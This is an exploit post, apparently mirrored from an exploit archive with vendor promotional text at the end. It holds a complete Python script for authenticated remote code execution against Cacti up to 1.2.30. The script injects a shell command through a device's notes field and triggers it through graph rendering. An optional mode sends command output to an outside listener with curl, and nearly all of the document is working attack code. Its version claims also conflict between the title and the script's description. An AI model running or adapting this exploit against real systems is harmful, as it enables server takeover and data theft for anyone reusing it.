==================================================================================================================================
| # Title : Cacti ≤ 1.2.30 Authenticated RCE Exploit Variable Injection via Graph Rendering |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.cacti.net/ |
==================================================================================================================================
[+] Summary : This Python script is an authenticated remote code execution (RCE) exploit targeting Cacti versions ≤ 1.2.30.
[+] Payload :
#!/usr/bin/env python3
"""
Usage:
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --cmd 'id'
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --oob your.oastify.com
"""
import argparse, sys, time, re
import urllib.request, urllib.parse, http.cookiejar
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[1m"
E = "\033[0m"
def banner():
"""Prints the tool banner"""
print(fr"""{R}{B}
\|/ (__)
`\------(oo)
|| (__)
||w--|| \|/
\|/
{E}{B}Cacti Authenticated RCE — Host Variable Injection into RRDtool{E}
""")
class CactiExploit:
"""Main class for the Cacti vulnerability exploitation"""
def __init__(self, url, user, pw):
self.base = url.rstrip('/')
self.user = user
self.pw = pw
self.jar = http.cookiejar.CookieJar()
self.http = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.jar))
self.http.addheaders = [('User-Agent', 'Mozilla/5.0')]
def get(self, path, params=None):
"""Sends a GET request"""
url = self.base + path + ('?' + urllib.parse.urlencode(params) if params else '')
r = self.http.open(url, timeout=15)
return r.read().decode('utf-8', errors='replace'), r.geturl()
def post(self, path, data):
"""Sends a POST request"""
r = self.http.open(urllib.request.Request(
self.base + path,
urllib.parse.urlencode(data).encode(),
{'Content-Type': 'application/x-www-form-urlencoded'}
), timeout=15)
return r.read().decode('utf-8', errors='replace'), r.geturl()
def csrf(self, path, params=None):
"""Extracts the CSRF token from the page"""
html, _ = self.get(path, params)
m = re.search(r'name=["\']__csrf_magic["\'][^>]*value=["\']([^"\']+)["\']', html)
return m.group(1) if m else ''
def login(self):
"""Logs into Cacti"""
print(f"[*] Logging in as {self.user}...")
self.post('/index.php', {
'action': 'login',
'login_username': self.user,
'login_password': self.pw,
'__csrf_magic': self.csrf('/index.php'),
})
for c in self.jar:
if 'cacti' in c.name.lower():
print(f" {G}[+] Session established successfully{E}")
return True
print(f" {R}[-] Login failed{E}")
return False
def create_device(self, notes):
"""Creates a new device with malicious notes"""
_, url = self.post('/host.php', {
'action': 'save',
'save_component_host': '1',
'reindex_method': '1',
'id': '0',
'host_template_id': '0',
'description': 'poc',
'hostname': '127.0.0.1',
'location': '',
'poller_id': '1',
'site_id': '1',
'device_threads': '1',
'availability_method': '0',
'snmp_options': '0',
'ping_method': '1',
'ping_port': '23',
'ping_timeout': '400',
'ping_retries': '1',
'snmp_version': '2',
'snmp_community': 'public',
'snmp_security_level': 'authPriv',
'snmp_auth_protocol': 'MD5',
'snmp_username': '',
'snmp_password': '',
'snmp_password_confirm': '',
'snmp_priv_protocol': 'DES',
'snmp_priv_passphrase': '',
'snmp_priv_passphrase_confirm': '',
'snmp_context': '',
'snmp_engine_id': '',
'snmp_port': '161',
'snmp_timeout': '500',
'snmp_retries': '3',
'max_oids': '10',
'bulk_walk_size': '0',
'external_id': '',
'notes': notes,
'__csrf_magic': self.csrf('/host.php', {'action': 'edit'}),
})
m = re.search(r'[?&]id=(\d+)', url)
return m.group(1) if m else None
def create_template(self):
"""Creates a graph template containing the compromised variable"""
_, url = self.post('/graph_templates.php', {
'action': 'save',
'save_component_template': '1',
'graph_template_id': '0',
'graph_template_graph_id': '0',
'name': 'poc',
'class': 'unassigned',
'version': '',
'title': 'poc',
'vertical_label': '',
'image_format_id': '1',
'height': '200',
'width': '700',
'base_value': '1000',
'auto_scale_opts': '2',
'upper_limit': '100',
'lower_limit': '0',
'unit_value': '',
'unit_exponent_value': '',
'unit_length': '',
'right_axis': '',
'right_axis_label': '|host_notes|',
'right_axis_format': '0',
'right_axis_formatter': '0',
'left_axis_format': '0',
'left_axis_formatter': '0',
'tab_width': '',
'legend_position': '0',
'legend_direction': '0',
'rrdtool_version': '1.7.2',
'__csrf_magic': self.csrf('/graph_templates.php', {'action': 'template_edit'}),
})
m = re.search(r'[?&]id=(\d+)', url)
return m.group(1) if m else None
def create_graph(self, host_id, tmpl_id):
"""Creates a graph that links the device to the template"""
self.post('/graphs_new.php', {
'save_component_graph': '1',
'cg_g': tmpl_id,
'host_id': str(host_id),
'host_template_id': '0',
'action': 'save',
'graph_type': '-2',
'rows': '-1',
'__csrf_magic': self.csrf('/graphs_new.php', {'reset': 'true', 'host_id': host_id}),
})
html, _ = self.get('/host.php', {'action': 'edit', 'id': host_id})
ids = re.findall(r'graph_edit&(?:amp;)?id=(\d+)', html)
return ids[-1] if ids else None
def trigger(self, graph_id):
"""Triggers the graph generation to execute the injected command"""
try:
self.get('/graph_image.php', {
'local_graph_id': graph_id,
'rra_id': '0',
'graph_start': '-3600',
'graph_end': '0',
})
except Exception:
pass
def run(self, cmd, oob=None):
"""
Executes the main attack sequence
cmd: The command to execute
oob: Out-of-Band destination address for data exfiltration (optional)
"""
if oob:
payload_cmd = f"curl -sk http://{oob}/$({cmd}|base64 -w0)"
else:
payload_cmd = cmd
notes = f"'; ({payload_cmd} &); '"
print(f"[*] Creating a new device...")
host_id = self.create_device(notes)
if not host_id:
print(f" {R}[-] Failed{E}")
return False
print(f" {G}[+] host_id={host_id}{E}")
print(f"[*] Creating a template...")
tmpl_id = self.create_template()
if not tmpl_id:
print(f" {R}[-] Failed{E}")
return False
print(f" {G}[+] template_id={tmpl_id}{E}")
print(f"[*] Creating a graph...")
graph_id = self.create_graph(host_id, tmpl_id)
if not graph_id:
print(f" {R}[-] Failed{E}")
return False
print(f" {G}[+] graph_id={graph_id}{E}")
print(f"[*] Rendering the graph to trigger command execution...")
time.sleep(1)
self.trigger(graph_id)
time.sleep(1)
print(f"\n{G}{B}[+] Execution triggered successfully.{E}")
if oob:
print(f" {Y}Check your OOB/Collaborator listener for incoming interactions - Path = base64({cmd}){E}")
return True
def main():
"""Main function"""
banner()
p = argparse.ArgumentParser(description='Cacti <= 1.3.0-dev Authenticated Remote Code Execution')
p.add_argument('--url', required=True, help='Cacti installation URL')
p.add_argument('--user', default='admin', help='Username (default: admin)')
p.add_argument('--pass', dest='password', default='admin', help='Password (default: admin)')
p.add_argument('--cmd', default='id', help='Command to execute (default: id)')
p.add_argument('--oob', help='OOB server to capture the results (e.g., Burp Collaborator)')
args = p.parse_args()
e = CactiExploit(args.url, args.user, args.password)
if not e.login():
sys.exit(1)
e.run(cmd=args.cmd, oob=args.oob)
if __name__ == '__main__':
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation